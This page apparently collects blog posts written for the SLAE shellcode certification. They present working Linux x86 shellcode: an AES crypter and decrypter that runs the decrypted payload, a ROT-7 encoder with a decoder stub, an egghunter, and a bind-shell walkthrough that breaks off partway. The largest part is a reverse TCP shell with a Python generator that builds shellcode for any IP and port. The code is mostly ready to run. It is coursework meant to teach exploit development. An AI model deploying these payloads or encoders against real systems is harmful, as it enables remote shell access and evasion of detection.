Posts Tagged shellcode

Assignment 7: Shellcode Crypter


Create a custom crypter. You may use any encryption schema, and the programming language of your choice.


 

For this assignment, we will create an AES shellcode crypter. I have chosen to use the EVP family of functions, which are provided by openssl library. These offer a high level interface to the various encryption schemes implemented by openssl, and is better to use it, instead of writing our own implementation of AES. Of course, that means that we are introducing a dependency for those libraries to be present on the system executing the decrypter. This is rather safe to assume, as libcrypto is probably universally present.

We will use AES-256, in counter mode (CTR). The key will be 256bits in size. Instead of manually generating this, we can use a HASH function to generate a hash, for a string of our choice. For example:

a7p1

The output of the hash function will then become our key used in AES. For the initial vector value (IV) we will use a random 16 byte value, generated again with the help of openssl functions. This will be different every time the encrypter executes, and will need to be fed into the decrypter to properly decrypt our shellcode.

The following listing presents the encrypter program:


// aes shellcode crypter
// compile:   gcc encshellcode.c -lcrypto -o encshellcode
//
// INPUT:     shellcode
//            key
// OUTPUT:    IV
//            encrypted shellcode
// StudentID: SLAE645

#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{

printf("\\x%02x", arr[i]);
}
printf("\n");
}

int main()
{
EVP_CIPHER_CTX ctx;
// <><><> Input the shellcode to be encrypted
unsigned char shellcode[]=\
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a";

// <><><> Input the key for encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";

unsigned char iv[EVP_MAX_IV_LENGTH]="";
unsigned char out[sizeof(shellcode)];
unsigned char decout[sizeof(out)];

int declen1, declen2;
int outlen1, outlen2;

RAND_bytes(iv, EVP_MAX_IV_LENGTH);
printf ("[*] IV used for encryption:\n");
print_bytes(iv, sizeof(iv));
printf("\n");

EVP_EncryptInit(&ctx, EVP_aes_256_ctr(), key, iv);
EVP_EncryptUpdate(&ctx, out, &outlen1, shellcode, sizeof(shellcode)-1);
EVP_EncryptFinal(&ctx, out + outlen1, &outlen2);

printf("[*] We have read %d bytes of shellcode, and generated %d bytes of encrypted output\n\n", sizeof(shellcode)-1, outlen1+outlen2);

printf(" --- Encrypted shellcode ---\n");
print_bytes(out, sizeof(out)-1);
printf("\n");

printf(" --- Hex-dump of encrypted shellcode ---\n");
BIO_dump_fp(stdout, out, sizeof(out)-1);
EVP_CIPHER_CTX_cleanup(&ctx);

printf("\n --- Decryption routine (check) ---\n");
EVP_CIPHER_CTX ctx2;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, out, sizeof(out)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);

EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
return 0;
}

We need to provide the shellcode we want to encrypt, and the key. Compile and execute:

a7p2

The encrypted shellcode is generated, along with the IV that was used for this run. At the bottom, the program perfroms a decryption, just as a check to see what the decrypted code will look like.

If we execute the program again, a different IV is generated and of course a different encrypted shellcode:

a7p3

We can now write the decrypter program. We will use the IV and encrypted output from the last run of our encrypter. The code is presented below:


// aes shellcode decrypter and execution
// compile:   gcc decshellcode.c -lcrypto -fno-stack-protector -zexecstack -o decshellcode
//
// INPUT:     encrypted shellcode
//            key
//            IV
// OUTPUT:    shellcode (executed)
// StudentID: SLAE645

#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>

void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{

printf("\\x%02x", arr[i]);
}
printf("\n");
}

int main()
{
EVP_CIPHER_CTX ctx2;

// <><><> Input the encrypted shellcode generated from encshellcode executable
unsigned char encshellcode[]=\
"\x2c\xf5\xc7\xd9\x13\x1b\xd4\x3e\x13\x5e\xf9\xc0\xea\x7e\x14\xce\x8a\xc4\xe7\x6e\x6f\x52\x0e\x28\x5b\xe7\x2c\x94\x70\x43\x35\x10\x80\x74\xf8\x33\x1e\x1f\xc7\x74\x0e\xc8\x04\xb4\xeb";

// <><><> Input the key you used during encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
// <><> <> Input the IV generated during encryption
unsigned char iv[EVP_MAX_IV_LENGTH]="\xc7\x4d\x24\xf7\xf0\x1b\xd0\xb0\xa2\xc2\x6d\x25\x84\x8b\x54\x2f";
unsigned char decout[sizeof(encshellcode)];
int declen1, declen2;

int (*ret)() = (int(*)())decout;

EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, encshellcode, sizeof(encshellcode)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
printf("[*] We have read %d bytes, and generated %d bytes of decrypted output\n", sizeof(encshellcode)-1, declen1+declen2);
printf("\n --- Decrypted shellcode dump ---\n");
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);

EVP_cleanup();
CRYPTO_cleanup_all_ex_data();

printf("\n");
print_bytes(decout, sizeof(decout)-1);
printf("Calling decrypted code...\n\n");
ret();
printf("\n\n");
return 0;
}

 

Compile and run the decrypter:

a7p4

The shellcode is decrypted and run, a new /bin/sh is launched.

We can examine the libraries that our decrypter uses via the ldd command:

a7p5

Alternatively, we can load it into gdb, and execute “info sharedlibrary”

a7p6

 


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , , ,

Leave a comment

Assignment 4: Custom shellcode encoder


Create a custom shellcode encoding scheme, and a PoC using execve-stack shellcode to encode with your schema and execute.


For this assignment, I will create a simple rotate substitution cipher to accomplish the encoding of our shellcode. ROT-n substitution is a very simple (and very very weak) encryption algorithm, also known as Caesar Cipher (which shifted letters by 3 in its original form as used by Julius Caesar of Rome). All it does is shift the letters in the alphabet by n-places, wrapping around to the beginning if/when required.

The same principle may be applied to the “alphabet” of shellcode values (opcodes), i.e. 0x00-0xFF. Choosing 7 as the number of places to shift, the following lookup table may be constructed:

a4p1

In order to write our encoder, we need to create a simple program that reads a user supplied piece of shellcode, performs the shift of each byte by 7, and outputs the encoded shellcode.

Then we need to write an assembly decoder, that will first decode this shellcode in memory, and then pass control to it to execute. The shellcode we will use is a simple execve-stack.

The following code snippet presents the encoder implemented in python. In order to do the wrap to the beginning we may use modulo arithmetic, but I have chosen to implement a different approach using simple addition and subtraction (in the basis that division is costly in terms of CPU cyles).

#!/usr/bin/python

# Python ROT-7 Encoder

shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
# boundary is computed as 255-ROT(x) where x, the amount to rotate by
if x > 248:
encoded += '\\x'
encoded += '%02x' %(7 -(256 - x))
encoded2 += '0x'
encoded2 += '%02x,' %(7 -(256 - x))
else:
encoded += '\\x'
encoded += '%02x'%(x+7)
encoded2 += '0x'
encoded2 += '%02x,' %(x+7)
print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

 

Running the encoder (pasting any shellcode that you wish to encode in the shellcode variable) it generates the shifted-by-seven shellcode:

a4p2

This will be used in our assembly decoder stub. We see that it is also free of NULL bytes (since we do not have any byte with the value “F9” in the original code, this is as expected). For this we will use the standard jmp-call-pop technique, storing our encoded shellcode from the python encoder, in the “Shellcode” variable at the bottom. What we have to do in this part is, instead of advancing forward, subtracting 7 from each byte of the shellcode. The following presents the assembly code:

a4p3

Compile the program and extract the shellcode:

a4p4

 

Again we can see our shellcode is free of NULL bytes. We can paste this into our shellcode.c file, compile and execute it:

#include<stdio.h>
#include<string.h>

unsigned char code[] = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87";

main()
{

printf("Shellcode Length:  %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Execution:

a4p5

Success!

 

Note: The encoder has been submitted and accepted to the shell-storm database, and you can find it here: http://shell-storm.org/shellcode/files/shellcode-900.php. Kudos to Jonathan Salwan for his time and effort in maintaining this amazing repository of shellcodes, and thank you very much for accepting my code!


 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , , ,

Leave a comment

Assignment 3: Egghunter shellcode demo


The purpose of this assignment is to research the egghunter shellcode and create a working demo.


To learn about egghunters, one of the best resources on the net, is the paper by skape which can be reached online at:

Click to access egghunt-shellcode.pdf

In order to create a working demo we will need to decide which method to use. Skape presents three different possible implementations. The sigaction will be used for my demo, since this results in a smaller egghunter routine.

The egg we will use will be the characters STST (0x53545354)

Reading skape’s excellent document, the following assembly code may be used to create an egghunter utilizing the sigaction system call:

a3p1

In order to test our shellcode, we can use the familiar shellcode.c file, this time though, we can introduce an arbitrary number of variables containing random data, to fill up some memory space in the running process. For this we can use the pattern_create.rb tool from Metasploit Framework. The command to execute would be pattern_create.db <number_of_bytes>, as can be seen in the following screenshot:

a3p2

Our program should have the random variables, the egghunter code, some more variables and the shellcode, prepended by the egg value i.e. egg in front of shellcode. Our shellcode program should call the egghunter routine and if all works as planned the shellcode will be executed.

We start by creating the random variables:

a3p3

Then our egghunter code follows (cut and paste from the compiled binary):

a3p4

a3p8

Finally another variable, and the egg with the execve-stack shellcode are defined, followed by the main function (execve-stack shellcode extracted using the same method as for the egghunter):

a3p5

a3p6

 

Compile the file and execute:

a3p7

Success, a new bash shell is executed!

In order to execute a different shellcode, we can paste it in the shellcode.c file, immediately after the egg value (which should not change) and compile and run the resultant executable.

The following snippet presents the code for our demo (file shellcode.c):

#include<stdio.h>
#include<string.h>

// Egg value we will use is the string "STST" twice. That is 0x53545354 twice.

// First define random variables, to fill up some memory space
unsigned char var1[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4"
"Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6"
"Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0"
"Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai"
"3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8"
"Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0"
"An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2"
"Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4"
"Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8"
"At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0"
"Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1"
"Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4"
"Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6"
"Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8"
"Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1"
"Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6";
unsigned char var2[]="AAAABBBBCCCCDDDDEEEEFFFFGGGGKKKK";

// The Egghunter code
unsigned char code[] = "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf0\xb8"
"\x54\x53\x54\x53\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

// Another variable
unsigned char var3[]="Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4"
"Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7"
"Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0"
"Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh"
"4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0"
"Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em"
"4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5"
"Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7"
"Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1"
"Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4"
"Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex"
"6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9"
"Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3"
"Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8"
"Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4"
"Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3"
"Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8"
"Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3";

// Our shellcode, execve-stack
unsigned char shellcode[] = \
"\x54\x53\x54\x53\x54\x53\x54\x53" // First the EGG value, TWICE and in little endian order!
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

printf("Egghunter Length:  %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-645


 

, , ,

Leave a comment

Assignment 2: Shell reverse TCP shellcode


Create a Shell_Reverse_TCP shellcode that (a) reverse connects to an ip and port, and (b) executes a shell on successful connection. IP and port number should be easily configurable.


This shellcode will share some parts from the shellcode presented in the first assignment. What we need to do is:

  • Create a socket
  •  Use the connect() method instead of bind, to connect to another socket listening on a specified ip address and port
  • Redirect standard input/output/error to this socket
  • Execute an execve to spawn a shell

The socket creation part will be the same as in the first assignment. The code is presented below:

a2p1

After that, we need to call the connect function in order to make the connection to the listener that waits for the reverse shell connection on the remote end. The man page for connect():

a2p2

This is similar to the bind() syscal in our first assignment. Let’s say that we want to connect on localhost (127.0.0.1) and port 31453 (0x7add). In order to compute the hex value of 127.0.0.1, we can use the command gethostip with the –x argument, as shown below:

a2p3

We can see that there are two NULL bytes in this address. We will have to cater for that in our shellcode, which must be free of NULL bytes.
The parameters can be visualized in the next diagram:
a2p4

The tricky part here is the sockaddr structure. For IPv4, this is expected to be 16 bytes long. The values will be laid out as follows:

  • Family (AF_INET):  0x0002
  • Port (31453): 0x7add
  • IP Address (IPADDR_ANY): 7f 00 00 01
  • Zero padding: 00 00 00 00 00 00 00 00

All these must be pushed on the stack in reverse order. There are a lot of NULL bytes in the padding, as well as the address itself. We will need to push 8 NULLs, then the ip address (reverse order) then the port (again reverse order), then the 0x02 value as word (2 bytes).

To get the 8 NULL bytes , we can use two pushes of a full register, zeroed out (i.e. ESI). For the ip address, since we cannot afford to have NULL bytes, we will need to do some arithmetic.

Observe that 0xFFFFFFFF – 0x7F000001 = 0x80FFFFFE, which does not have any NULL bytes. We need to subtract 0x80FFFFFE from 0xFFFFFFFF to get our 127.0.0.1 address. All we are left to do is reverse the order of the number that we got from our subtraction and push that on the stack. This can be done with a bswap instruction. The connect() call can therefore be coded as below:
a2p5

After that all we have to do is the stdin/stdout/stderr redirection for the socket descriptor from socket() call, and spawn a shell. The only difference from the code in the first assignment is the sockfd descriptor, which now is stored into EDX, and has to be moved into EBX for the dup2() calls. The code is presented below:

a2p6

Our shellcode is now complete. Compile and check to see if we have any NULL bytes:

a2p7

Let’s test it. Open a terminal and setup a port listening on 32453, using netcat:

a2p8

We can execute our shellcode, by running it via strace (this way we will also be able to see all the system calls):

a2p9

On the terminal where we setup the nc, we get a connection, and we can execute commands (user input shown with red arrows):

a2p11

Sending a Ctrl-C on this window, terminates nc, and our shellcode running under strace.
So the shellcode is complete. The assignment though asks that the port and ip address should be easily configurable. In order to accomplish that we need to be able to modify the shellcode, depending on whether the user entered an ip address that contains a 0 tuple (i.e. 10.0.1.15) or not. Since this would result in null bytes in the shellcode, we have to resort to the trick presented above (subtract from 0xfffffffff), or if there are no 0 tuples in the ip address, just use it unmodified. Let’s look at the code, as it is presented for the localhost address.

a2p12

In the red rectangle, we have the two instructions for computing the subtraction 0xFFFFFFFF –0x80FFFFFE which will give us the hex representation of the ip address we want 0x7F000001 (127.0.0.1). In the green rectangle, the instruction for the port we want to connect to (in our case 31453, 0x7add). This is the second part of the shellcode that needs to be easily configurable.
The following pseudo code presents the two choices for the ip address computation, and the pseudo-instructions for each:

a2p10_2

Of course, we are working with shellcode, so the mov esi, 0xffffffff should be translated to \xbe\xff\xff\xff\xff.
Likewise for the port number, we need to compute the hex value of the required port, and add it in the shellcode in the form \x66\x68\<port_number>, i.e. \x66\x68\x7a\xdd.
The following python code does all the required computations and shifting and mixing for us. It expects an ip address and a port, and will produce the customized shellcode for us. It will not check for the resulting port number, being free of NULL bytes i.e. if you give it port 80, the resultant shellcode for the port will be \x66\x68\x00\x50.

#!/usr/bin/python

import sys
import re
import binascii
import socket
import struct

start_segment = (
'\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01'+
'\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xc0\\x31\\xf6\\xb0\\x66'+
'\\x80\\xc3\\x02\\x56\\x56'
)
mov_instr='\\xbe\\xff\\xff\\xff\\xff'
sub_instr='\\x81\\xee'
#\xfe\xff\xff\x80 - this is where the computed value for ip address subtraction should be, reversed
bswap_instr='\\x0f\\xce\\x56'
pushw_instr='\\x66\\x68'
#\x7a\xdd - this is where the port value should be

end_segment = (
'\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\x89\\xe1\\xcd\\x80\\x89'+
'\\xd3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9'+
'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89'+
'\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80'
)

# Check proper arguments passesd at command line
if len(sys.argv) != 3 or sys.argv[1].find('.')==-1:
 print &quot;Reverse tcp connect - Shellcode create script for user supplied&quot;
 print &quot;IP address and port.&quot;
 print &quot;usage: shcreateA2.py [ip_address] [port]&quot;
 print &quot;&quot;
 sys.exit(1)

ip = sys.argv[1]
port = sys.argv[2]
sep='\\x'
movesi_instr='\\xbe'  # will be used if address is zero free
hexip=binascii.hexlify(socket.inet_aton(ip))

# Use a regex to search for an address containing zeros
# \.0  match dot zero
match = re.search(r'\.0', ip)

if match:
 print &quot;[*] Supplied ip address contains zero...&quot;
 #subtract address from 0xFFFFFFF
 s=4294967295 - int(hexip, 16) 
 print &quot;Subtracting from 0xFFFFFFFF:&quot;, hex(s)
 #make it a string, store only numbers
 k=hex(s)[2:10]
 print &quot;String extract:&quot;, k
 # reverse byte order
 revk=binascii.hexlify(struct.pack('&lt;L', int(k,16)))
 #insert \x seperators
 srevk=sep+revk[0:2]+sep+revk[2:4]+sep+revk[4:6]+sep+revk[6:8]
 print &quot;      reversed:&quot;,revk
 # put pieces together
 IP_SEGMENT= mov_instr+sub_instr+srevk+bswap_instr
 #print &quot;Shellcode segment for this IP is:\n&quot;, IP_SEGMENT

else:
 #no zeroes in supplied ip address
 #reverse byte order
 reversedhexip=binascii.hexlify(struct.pack('&lt;L', int(hexip,16)))
 #insert \x seperators
 srevip=sep+reversedhexip[0:2]+sep+reversedhexip[2:4]+sep+reversedhexip[4:6]+sep+reversedhexip[6:8]
 #put pieces together
 IP_SEGMENT=movesi_instr+srevip+bswap_instr
 #print &quot;Shellcode segment for this IP is:\n&quot;, IP_SEGMENT

#Compute shellcode for supplied port number
port_str=&quot;{0:0{1}x}&quot;.format(int(port),4)
sport_str=sep+port_str[0:2]+sep+port_str[2:4]
PORT_SEGMENT=pushw_instr+sport_str
#print &quot;Port string:&quot;, PORT_SEGMENT

#put all pieces together
shellcode=start_segment+IP_SEGMENT+PORT_SEGMENT+end_segment

print &quot;[*] Shellcode length:&quot;,len(shellcode)/4
print shellcode

print &quot;-------------------\n&quot;
reversedhexip=binascii.hexlify(struct.pack('&lt;L', int(hexip,16)))
#print &quot;Hex ip address&quot;,hexip
#print &quot;Reversed:&quot;, reversedhexip

print &quot;IP addres:&quot;, ip, &quot;   Hex conv.:&quot;,hexip, &quot;   Reversed Hex:&quot;,reversedhexip
print &quot;Port:&quot;,port,&quot;   Hex port:&quot;,port_str

The following presents two runs, one with an ip without zeros, and one with zeros. The first run for port 80, contains a NULL byte.

a2p13
Let’s test it. First we will configure our system with an ip address and setup a netcat listening:

a2p14

Generate the shellcode using the perl script, paste it into the shellcode.c file, compile and run:

a2p15

We get a connection on our nc, and can execute commands:

a2p16

This concludes this assignment. Although we created an automated perl script for generating customized shellcode for any IP/port combination, bare in mind that there are no exhaustive checks against NULL bytes in the shellcode, therefore, it is always up to you to decide whether the resultant shellcode is sufficient.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645


 

 

, , ,

Leave a comment

Assignment 1: Shell bind TCP shellcode


Create a Shell_Bind_TCP shellcode that (a) binds to a port, and (b) executes a shell on incoming connection. The port number should be easily configurable.


In order to work with sockets, we need first to determine the syscall number to use. A look in /usr/include/i386-linux-gnu/asm/unistd_32.h shows the socketcall syscall is number 102 (0x66).

a1p1

 

 

 

The man page for socketcall is presented below:

a1p2

 

So in order to work with sockets, we need to also look into the different functions (accept, bind etc). We can find the valid socket function parameters in /usr/include/linux/net.h file:

a1p3

The man page for the socket function:

a1p4

 

So, the socket function is defined as:
int socket (int domain, int type, int protocol)

The address family values (domain) can be found in /usr/src/linux-headers-3.13.0-37/include/linux/socket.h
a1p5

The socket type values can be found in /usr/src/linux-headers-3.13.0-37/include/linux/net.h
a1p6

 

The protocol values are defined in /usr/include/linux/in.h

a1p7

From all the above we deduce that in order to create a TCP socket we need to pass the following parameters to the socket function:

•    Domain: AF_INET (2)
•    Type: SOCK_STREAM (1)
•    Protocol: TCP(6)

Let’s try to translate all that into assembly instructions. The system call is 0x66 which should be stored into EAX. EBX should contain 1, in order to use the socket function (effectively to create the socket). The parameters to the socket function will be pushed on the stack, in the reverse order (remember stack is LIFO) from what they appear in the function’s definition (so protocol, type, domain) and then moving the value of the ESP register to ECX, prior to making the call.
To better visualize the parameters and calling convention we can use a diagram:a1p8

If the function is successful in creating a socket, the kernel will give us a file descriptor for it, stored into EAX. The following image presents the code for creating the socket:

a1p9

After creating the socket, we need to:
•    Bind it to a port and ip address
•    Make it listen for connections
•    Accept a connection and execute the shell

First the bind. The man page tell us the following:
a1p10

From the above, we can see bind expects 3 parameters. First is the socket file descriptor, then a pointer to the sockaddr structure (containing socket parameters) and then the length of this structure. The length should be 14 bytes for sa_data (port and ip address) 2 for the family, 16 bytes in total. Looking at the ip(7) page (man 7 ip) we can see the definition for the sockaddr structure pointer:
a1p11

The address to bind will be passed through sin_addr:
a1p12

Since, we do not know a priori the ip address of the host that the shellcode will run on, we will need to pass the INADDR_ANY value. This can be found again in /usr/include/linux/in.h file:
a1p13

So the INADDR_ANY is 0. If we try to pass this directly, we will introduce NULL bytes to the shellcode. Therefore we will need to cater for that by pushing a zeroed out register instead of the actual 0x00 value we need. Remember that the sockaddr structure must be 16 bytes long. The following diagram aids in visualizing the various parameters (we will bind on port 31452, 0x7ADC):
a1p14

The tricky part here is the sockaddr structure. For IPv4, this is expected to be 16 bytes long. The values will be laid out as follows:
•    Family (AF_INET):  0x0002
•    Port (31452): 0x7adc
•    IP Address (IPADDR_ANY): 00 00 00 00
•    Zero padding: 00 00 00 00 00 00 00 00

All these must be pushed on the stack in reverse order. There are a lot of NULL bytes in this structure that we need to avoid. We will need to push 12 zeros, then the port, then the 0x02 value as word (2 bytes). To get the zeroes, we can use three pushes of a full register, zeroed out (i.e. ESI). The following instructions accomplish that:
a1p15

After these, the stack holds all the necessary data for the sockaddr structure, and we can store the value of ESP into ECX, to get ready for setting up the stack one more time, for the parameters to the sys_socketcall syscall. The complete  bind() call code is presented below:
a1p16

Having completed the bind, we then need to enable the socket to listen for connections. This is accomplished via the listen() function.
a1p17

Just two parameters for this function, the socket file descriptor, and a value for the backlog, say 15. The parameter visualization is presented below.
a1p18

The code for the listen() then can be written.

a1p19

